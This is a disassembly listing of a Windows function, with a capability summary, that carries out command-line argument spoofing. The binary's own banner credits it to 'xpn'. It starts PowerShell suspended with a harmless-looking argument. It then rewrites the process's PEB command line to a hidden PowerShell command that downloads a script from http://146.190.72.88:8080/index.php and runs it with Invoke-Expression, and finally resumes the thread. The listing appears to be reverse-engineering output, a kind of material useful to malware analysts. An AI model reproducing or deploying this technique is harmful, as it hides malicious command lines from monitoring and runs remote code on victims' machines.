Function at 0x1400015a8
Capabilities:
Create process on windows
Patch process command line
Resume thread
Run powershell expression
Schedule task via at

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x9f0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x990], ecx
mov qword [rbp + 0x998], rdx
call dbg.__main
lea rax, str.Argument_Spoofing_Example_by___xpn__n_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [rbp + 0x8f0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x8d0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x8d0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x8f0]
mov qword [rsp + 0x40], rax
lea rax, str.C:WindowsSystem32_
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x14
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rax, str.powershell.exe__NoExit__c_Write_Host_This_is_just_a_friendly_argument__nothing_to_see_here
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov dword [rbp + 0x96c], eax
cmp dword [rbp + 0x96c], 0
jne 0x140001698
lea rax, str.____Error:_Could_not_call_CreateProcess_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 1
jmp 0x140001855
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.NtQueryInformationProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x960], rax
mov r10, qword [rbp + 0x960]
mov rax, qword [rbp + 0x8d0]
lea rcx, [rbp + 0x3d0]
lea rdx, [rbp + 0x3cc]
mov qword [rsp + 0x20], rdx
mov r9d, 0x30
mov r8, rcx
mov edx, 0
mov rcx, rax
call r10
mov rdx, qword [rbp + 0x3d8]
mov rax, qword [rbp + 0x8d0]
lea r8, [rbp + 0xf0]
lea rcx, [rbp + 0x3c0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x2c8
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
mov dword [rbp + 0x96c], eax
cmp dword [rbp + 0x96c], 0
jne 0x140001758
lea rax, str.____Error:_Could_not_call_ReadProcessMemory_to_grab_PEB_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 1
jmp 0x140001855
mov rdx, qword [rbp + 0x110]
mov rax, qword [rbp + 0x8d0]
mov r8d, 0x1ac
mov rcx, rax
call sym.readProcessMemory_void__void__unsigned_long_
mov qword [rbp + 0x958], rax
lea rax, [rbp - 0x20]
lea rdx, str.powershell.exe__w_hidden__T___New_Object_Net.WebClient_.DownloadString_http:__146.190.72.88:8080_index.php___Invoke_Expression__T
mov ecx, 0x21
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
mov rax, qword [rbp + 0x958]
mov rdx, qword [rax + 0x78]
mov rax, qword [rbp + 0x8d0]
lea rcx, [rbp - 0x20]
mov r9d, 0x10c
mov r8, rcx
mov rcx, rax
call sym.writeProcessMemory_void__void__void__unsigned_long_
mov dword [rbp + 0x96c], eax
cmp dword [rbp + 0x96c], 0
jne 0x1400017ea
lea rax, str.____Error:_Could_not_call_WriteProcessMemory_to_update_commandline_args_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 1
jmp 0x140001855
mov dword [rbp - 0x24], 0x1c
mov rax, qword [rbp + 0x110]
lea rdx, [rax + 0x70]
mov rax, qword [rbp + 0x8d0]
lea rcx, [rbp - 0x24]
mov r9d, 4
mov r8, rcx
mov rcx, rax
call sym.writeProcessMemory_void__void__void__unsigned_long_
mov dword [rbp + 0x96c], eax
cmp dword [rbp + 0x96c], 0
jne 0x14000183d
lea rax, str.____Error:_Could_not_call_WriteProcessMemory_to_update_commandline_arg_length_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 1
jmp 0x140001855
mov rax, qword [rbp + 0x8d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov eax, 0
add rsp, 0x9f0
pop rsi
pop rdi
pop rbp
ret